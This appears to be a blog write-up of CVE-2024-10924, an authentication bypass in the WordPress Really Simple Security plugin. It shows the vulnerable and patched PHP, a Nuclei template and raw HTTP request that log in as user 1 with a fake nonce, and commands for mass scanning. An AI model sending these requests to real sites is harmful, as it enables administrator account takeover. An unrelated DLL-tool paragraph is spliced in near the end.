The Full Story of CVE-2024-10924: Authentication Bypass in the Really Simple Security Plugin

The Full Story of CVE-2024-10924: Authentication Bypass in the Really Simple Security Plugin

With the Really Simple Security plugin, WordPress users can easily improve the security of their websites with features such as:

  • Automatic enforcement of SSL/TLS to ensure secure, encrypted communication via HTTPS.
  • Options to change insecure default configuration settings.
  • Automatic notifications of detected vulnerabilities.
  • Two-factor authentication (2FA).

However, in versions 9.0.0 to 9.1.1.1, an authentication bypass was discovered that, if exploited, would allow a threat actor to gain access to any user account, including administrative accounts.

At the time of disclosure on November 6, 2024 this vulnerability exposed over 4,000,000 WordPress sites to compromise.

Definitions

API

An Application Programming Interface (API) provides a means of interfacing between two applications or services, allowing one to access the features or data of the other. As applications and services are written in various programming languages, APIs standardize communication by defining the expected data format, encoding type, protocol, location, and authentication requirements of network requests.

Once an API endpoint receives a valid request in accordance with its defined standards, the server will return the requested data in a response.

REST API

A Representational State Transfer (REST) API is a specific type of API that utilizes HTTP as the communication protocol. To perform operations on resources such as users and products, these APIs use standard HTTP methods, including GET, POST, PUT, and DELETE.

The requested resources are typically returned as JSON, consisting of key-value pairs.

CSRF Tokens

CSRF tokens are unique, random values that are generated by the server and attached to forms (usually as a hidden input field) or included in HTTP headers. Upon form submission, the server will verify that the correct CSRF token value is included. This serves as an unpredictable parameter, one of the key conditions that must not exist for a CSRF attack to succeed.

WordPress Nonces

Nonces, short for “numbers used once”, are numbers that serve the same purpose as CSRF tokens. However, in the context of WordPress, nonces are neither numbers nor single-use.

Knowledge of these key differences and their details is critical, as misunderstandings have led to severe security issues:

  • Instead of numbers, WordPress nonces consist of hash digests generated using a key and a salt value unique to the website.
  • Authenticated users receive a unique hash that is tied to their user session.
  • By default, all unauthenticated users receive the same nonce because they all have the same user ID of 0.
  • While nonces are issued every 24 hours, they are actually valid for 48 hours total or until a user exits their session.
  • WordPress plugins can generate nonces at varying scope levels: globally available, per action, etc.
  • Nonces are not only used for CSRF protection but are also sometimes used for implementing access controls.

Without the correct nonce tied to a specific user, any attempts to execute sensitive actions will result in a 403 Forbidden error.

The Vulnerability

In the affected versions of the Really Simple Security plugin, the authentication bypass vulnerability originated from inadequate error handling in the 2FA implementation.

Requests made to the /skip_onboarding REST API endpoint were handled by the following PHP code:

public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
    $parameters = new Rsssl_Request_Parameters( $request );
    $user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
    return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}

The skip_onboarding function received the request, extracted the user_id, login_nonce, and redirect_to parameters, and stored them in a new RSssl_Request_Parameters object. The parameter collection was then stored in the $parameters variable.

The user_id and login_nonce were then passed to the check_login_and_get_user function:

private function check_login_and_get_user( int $user_id, string $login_nonce ) {
    if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
        return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
    }

    $user = get_user_by('id', $user_id);
    return $user;
}

This function validated the security token against the user ID via the verify_login_nonce function. However, even when validation failed and a 403 Forbidden response was returned, the skip_onboarding function did not check this error response. Instead, it continued execution and called authenticate_and_redirect with the original parameters. This flaw allowed an attacker to bypass authentication and log in as any user by simply providing their user_id, regardless of whether the security nonce was valid.

Mass Exploitation

As an attacker would only need a numerical user ID to authenticate, this vulnerability could be exploited en masse.

Using Nuclei, an open-source scanning engine, a template could be created to distribute requests across a large number of targets, searching for WordPress sites running vulnerable versions of the Really Simple Security plugin. Nuclei templates are structured using YAML and use a separate Domain Specific Language (DSL) for writing tool instructions:

# Template for detecting CVE-2024-10924 files.
id: really-simple-security

info:
  name: really-simple-security
  author: ninjeeter
  severity: info
  metadata:
    max-request: 1  # Maximum number of requests allowed.
  tags: miscellaneous

# HTTP POST request.
http:
  # Define the HTTP request method and target path.
  - method: POST
    path:
      - "{{BaseURL}}/wp-json/reallysimplessl/v1/two_fa/skip_onboarding"
    # Browser-like headers to prevent being blocked by WAF.
    headers:
      Host: "{{Hostname}}"
      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
      Accept: "*/*"
      Accept-Language: "en-US,en;q=0.9"
      Accept-Encoding: "gzip, deflate, br, zstd"
      Content-Type: "application/x-www-form-urlencoded"
      Origin: "{{BaseURL}}"
      Referer: "{{BaseURL}}"
      Sec-Fetch-Dest: "empty"
      Sec-Fetch-Mode: "cors"
      Sec-Fetch-Site: "same-origin"

  # Form data.
    body: "user_id=1&login_nonce=1a2b3c4d5e&redirect_to=wp-admin/"

The template above would generate the following request:

POST /wp-json/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Content-Length: 54
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Origin: https://example.com
Referer: https://example.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
user_id=1&login_nonce=1a2b3c4d5e&redirect_to=wp-admin/

This template could then be used against a single target by executing the following terminal command:

nuclei -u https://example.com -t ~/nuclei-templates/http/miscellaneous/robots-txt.yaml

Or against multiple targets with:

nuclei -l targets.txt -t ~/nuclei-templates/http/miscellaneous/robots-txt.yaml

Due to this, and the danger of unauthorised access to administrative accounts, this vulnerability, assigned CVE-2024-10924, received a severity score of 9.8 (Critical).

Conclusion

The plugin has since been patched in version 9.1.12:

public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
	$parameters = new Rsssl_Request_Parameters( $request );
	// As a double we check the user_id with the login nonce.
	try {
		$this->check_login_and_get_user($parameters->user_id, $parameters->login_nonce);
	} catch (Exception $e) {
		return new WP_REST_Response(['error' => $e->getMessage()], 403);
	}
	return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}

private function check_login_and_get_user( int $user_id, string $login_nonce ) {
	if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
		// We throw an error
		wp_die();
	}
	/**
	* Get the user by the user ID.
	*
	* @var WP_User $user
	*/
	$user = get_user_by('id', $user_id);
	if (!$user) {
		throw new Exception('User not found');
	}

	return $user;
}

Now, when validation fails, wp_die() terminates the entire request immediately. No further code execution occurs, meaning the authenticate_and_redirect() function will never be reached with invalid credentials.

Although the “Two-Factor Authentication” setting was disabled by default, the insecure code responsible for enforcing 2FA gave users of the Really Simple Security plugin a false sense of security. This vulnerability highlights that even security-focused plugins can contain bugs that threat actors can exploit.

When troubleshooting missing DLL errors on Windows, tools like FixDlls let you look up detailed information about any DLL — including its dependencies, compiler details, and known applications that ship it — so you can verify you have the correct version before replacing it.

Leave a Comment

Your email address will not be published. Required fields are marked *